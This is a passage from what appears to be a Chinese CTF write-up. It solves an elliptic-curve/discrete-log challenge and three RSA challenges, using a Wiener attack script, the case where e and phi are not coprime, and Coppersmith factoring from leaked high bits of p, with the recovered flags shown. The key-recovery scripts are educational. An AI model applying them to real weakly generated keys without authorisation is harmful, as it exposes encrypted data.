9ce5f10f76edea01492f11b807ebff0faf6819d62a8e972084e1ed5dd6e0152df2b
0477a42246bbaa04389abf639833
B=0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e
566e04d416e684c0c379d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcd
d285589b3c2620342deffb73464209130adbd3a444b253fc648b40f0acec7493adc
b3be3ee3d71a00a2b121c65b06769aada82cd1432a6270e84f7350cd61dddc17fe1
4de54ab436f41b9c9a0430510dde
G=Zmod(n)
g=G(g)
B=G(B)
b=discrete_log(B,g,operation='*')
# print(b)
#
b=52339508061758454262688737479791553037719777641430769906449432575
4883865689240606662282052952769155869279302851357127396057956141700
5227076149690037248586494698554589127480216207732222945843474557370
4206638908276105479184739194357595464580672443392489767486737645439
6257875249718213145700160788809038411884417511593659507
print(pow(g,b,n)==B)
shared_secret = int(pow(A, b, n))
print(shared_secret)

p=68647976601306097149819007990813932172694353001433054093944634591
8554318339765605212255964066145455497729631139148085803712198799971
6643812574028291115057151
a=-3
b=10938490380737342745111123907668055699362075989516837489945863944
9595311615073501601370873757375962324859213229670631330943845253159
1012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
# print(E)
G=E(620587791833377028732340367054366173412917008595419876782086196
2261174202646976379181735257759867760655835711845144326470613882395
445975482219869828210975915,
3475351956909044812130266914587199895248867449669290021764126870271
6929951602018605643022067483739509798910717051834654001860067093765
01382325624851012261206)
```

```
pa=E(21319167347592243238221321037134509423721278579754914489987537
3479638781013940771308162354046377154784460080640172356233418521453
0516095152824413924854874698,
1690322613136671350646569297044951327454506934124656653046321341087
9580597228091205009990914930978806958887775634862121797980373501514
39310538948719271467773)
p1=E(20326389595757377985537342389531770656710211124500024718242257
3449173560460000302849172913144573443244251020195597747240872841522
7018746467250107080483073647,
3510147080793750133751646930018687527128938175786714269902604502700
2489481542998539802507815837896238386312445206491130716647678979646
11902120411142027848868)
c=E(667037343734418040412798382148217814937411681754468809498641263
1575854021385459676854475335068369698875988135009698187255523501841
013430892133371577987480522,
6648964426034677304189862902917458328845484047818707598329079806732
3462748489557477007161019832071653473159161820769287640766020088466
95049181874187707051395)

p2=shared_secret*p1
m=c-p2
print(m)
x,y=m.xy()
print(bytes.fromhex(hex(int(x))[2:]))
```

2、RSA 大冒险2

好耶，又是大冒险！

HINTS:

Challenge 3: p泄漏的位数不够多，导致coppersmith方法解不出来，那么有没有什么办法能够扩大coppersmith的界呢？注意coppersmith方法使用了LLL算法，那么这个界和格基又有什么关系呢？

challenge1 wiener_attack：wiener_attack_easily!!!

```

import hashlib
def rational_to_contfrac (x, y):
    a = x//y
    if a * y == x:
        return [a]
    else:
        pquotients = rational_to_contfrac(y, x - a * y)
        pquotients.insert(0, a)
        return pquotients
def convergents_from_contfrac(frac):
    '''
    computes the list of convergents
    using the list of partial quotients
    '''
    convs = [];
    for i in range(len(frac)):
        convs.append(contfrac_to_rational(frac[0:i]))
    return convs

def contfrac_to_rational (frac):
    '''Converts a finite continued fraction [a0, ..., an]
     to an x/y rational.
     '''
    if len(frac) == 0:
        return (0,1)
    elif len(frac) == 1:
        return (frac[0], 1)
    else:
        remainder = frac[1:len(frac)]
        (num, denom) = contfrac_to_rational(remainder)
        # fraction is now frac[0] + 1/(num/denom), which is
        # frac[0] + denom/num.
        return (frac[0] * num + denom, num)

def egcd(a,b):
    '''
    Extended Euclidean Algorithm
    returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
    '''
    u, u1 = 1, 0
    v, v1 = 0, 1
    while b:
        q = a // b
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, a - q * b
    return u, v, a

def gcd(a,b):
    '''
    2.8 times faster than egcd(a,b)[2]
    '''
    a,b=(b,a) if a<b else (a,b)
    while b:
        a,b=b,a%b
    return a

def modInverse(e,n):
    '''
    d such that de = 1 (mod n)
    e must be coprime to n
    this is assumed to be true
    '''
    return egcd(e,n)[0]%n

def totient(p,q):
    '''
    Calculates the totient of pq
    '''
    return (p-1)*(q-1)

def bitlength(x):
    '''
    Calculates the bitlength of x
    '''
    assert x >= 0
    n = 0
    while x > 0:
        n = n+1
        x = x>>1
    return n



def isqrt(n):
    '''
    Calculates the integer square root
    for arbitrary large nonnegative integers
    '''
    if n < 0:
        raise ValueError('square root not defined for negative numbers')

    if n == 0:
        return 0
    a, b = divmod(bitlength(n), 2)
    x = 2**(a+b)
    while True:
        y = (x + n//x)//2
        if y >= x:
            return x
        x = y


def is_perfect_square(n):
    '''
    If n is a perfect square it returns sqrt(n),

    otherwise returns -1
    '''
    h = n & 0xF; #last hexadecimal "digit"

    if h > 9:
        return -1 # return immediately in 6 cases out of 16.

    # Take advantage of Boolean short-circuit evaluation
    if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
        # take square root if you must
        t = isqrt(n)
        if t*t == n:
            return t
        else:
            return -1

    return -1

def hack_RSA(e,n):
    frac = rational_to_contfrac(e, n)
    convergents = convergents_from_contfrac(frac)
    for (k,d) in convergents:
        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("\nHacked!")
                    return d

def main():

 n=148342002873808146500793452399819719376126681693611461796000058541821412420394838876787721346346209198302355763262284081164299946551120575661120051594513595249957276083317356002159364160762712392281244655154831591718339040108160487700321525295077142660898179273731738010066971680587132952048239943387332505079

 e=66982778292168572417238959451986420180738249185760381137327950254695735600817462227495181305568035370493964270333214442983119212525623878115801326524559637943250813944474681233798020965993352975344790714894682227796682348772981339748542688488163803012350927192745965347475835932335192520048341823960406372987

 c=0x94f26f630f997774f87c19c37ea6e7e67d3c34456ae327d3b3b423ea5e63a469d8d1acb4e891716b1e0db4c46678786bba8219d13152036dc0507f06913dd37f0f29046e3aeeefb2b5821385f595ce561d75e733a69e8c34ca16d8141dd91a340afdd44d48f4817cbbed9f48f1ce07b91ba43e52cf8aec60e68efcb389477517
    d=hack_RSA(e,n)
    print ("d="+str(d))

    m3= pow(c,d,n)
    print((bytes.fromhex(hex(m3)[2:])).decode())

if __name__ == '__main__':
    main()
#wiener_attack_easily!!!
```

challenge2： e与phi不互素，同时n可分解：得到：
how_to_solve_e_and_phi_uncoprime_condision

```python
from Crypto.Util.number import *
#from challenges import chall2_secret
chall2_secret=b'aaaaaaaaaaaaaaaaaaaa'
def next_prime(p):
    k=1
    while True:
        if isPrime(p+k):
            return p+k
        k+=1

class RSAServe:
    def __init__(self) -> None:
        def creat_keypair(nbits, beta):
            p = getPrime(nbits // 2)
            q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
            N = p*q
            phi = (p-1)*(q-1)
            while True:
                e = getRandomNBitInteger(16)
                if GCD(e, phi) == 2:
                    break
            d = inverse(e, phi)
            return N, e, d
        self.N, self.e, self.d = creat_keypair(1024, 0.25)
        self.m = chall2_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.N)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return {"N":self.N, "e":self.e}

r=RSAServe()
print(r.pubkey())
print(r.encrypt())



import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long

c=0xed825cc5085d1ac59ee8997179a21eaed41f7ee9936962f6b557905d238f05f
60ee4768ec9b41042ec86299679fa92bd83abe948e6ae7962b6b3dcd5f065201e64
541d612b3bc567bc57dbd41aebf289940dc92f2ec797dd09d4d43a14ab5e1019aed
eee8da9d0c5af7baff78218d0ac2a7a43f5e0794f18c8b59ea075ee2720
n=1681002404696984058812649354713836825712548756879120172921166420
4813945780574352689309197254832725444414757585760198278010452053971
4631013917150353720543311708318915404505102592094008139499012975446
7031324519201184659165711716579946300590650851375403900447329793536
5563307552372873646156052264191782430326803
e=50738

p =
1296534768024746823762784334923246160986741943125463637234937561501
0729510144049438067946296986735084763740880940809332272917314132332
245048697285281396017
q =
1296534768024746823762784334923246160986741943125463637234937561501
0729510143960531877232932904254589090197572827794355054502021037717
572468262654642915459

n = p*q
t=gmpy2.gcd(e,(p-1)*(q-1))
e = e // t
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
m = gmpy2.iroot(m,t)[0]
print(long_to_bytes(m))

#how_to_solve_e_and_phi_uncoprime_condision
```

challenge3： p高位泄露，位数不够修改epsilon扩大coppersmith的界。得到：now_you_know_how_to_use_coppersmith

```
from gmpy2 import *
n=114963109442145598387635559135581372346317688237181993504050633647667174413149346216664514364072320377331790864049912675290334734388295018566294999238534079413495512070726809682264007847004213702131027484942770915243408715584170464175631642712850662150213321851132996860680717902449130734396032551769433782533
p0=8143320859909177601627147754310117656812412462148632443483355463115309792209999<<253
unknown_bits = 253
PR.<x> = PolynomialRing(Zmod(n))
for bit in range(5,10):
    fx = p0 + x*2^bit
    for i in range(2**bit):
        f = fx + i
        f = f.monic()
        kbits = unknown_bits - bit
        p1 = f.small_roots(X=2 ^ kbits, beta=0.4,epsilon=0.01)
        if p1:
            print('p1=',p1)
            p = p0 + int(p1[0]) * 2 ^ (bit) + i
            assert n % p == 0
            q = n // p
            print(p)
            print(q)
            break
```

得到：

p=117866516962337743668933218681766697448177137273006284634527284083383997959384100623759388385476199436237704689979565301277230496059652364417469204917049 97

q=975366986358646025357099525845707772195791192282101005712723443145924181711890845245969842138324675045578895372573768262178259645059664824771484461 4987489

```
from gmpy2 import *
from Crypto.Util.number import *
n=11496310944214559838763555913558137234631768823718199350405063364
76671744131493462166645143640723203773317908640499126752903347343882
95018566294999238534079413495512070726809682264007847004213702131027
48494277091524340871558417046417563164271285066215021332185113299
686068071790244913073439603255176943378253
e=65537
c=0x5d0503a2b4ffbbf8b20446023d21fbd2ad58e6b97abe8ff1490f6bcbed93ee8
e4ad243a8d082575940b84d7ad5d1ff6cfe80369ef5898dae062b3b9a6ac06a8628
8681574a3502695b2d9226b116b69069eefcbf0e13cdc1f3c30953e18c1f0f22928
b2325e124795b4c52ec0224ccab6a3bbb4e5254d87640f6066934900b56
p=11786651696233774366893321868176669744817713727300628463452728408
33839979593841006237593883854761994362377046899795653012772304960596
5236441746920491704997
q=97536698635864602535709952584570777219579119228210100571272344314
59241817118908452459698421383246750455788953725737682621782596450596
6482477148446149874 89
d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
```

misc

1、Tunnel

Just a very very very safe tunnel.

分组字节流搜索hgame找到flag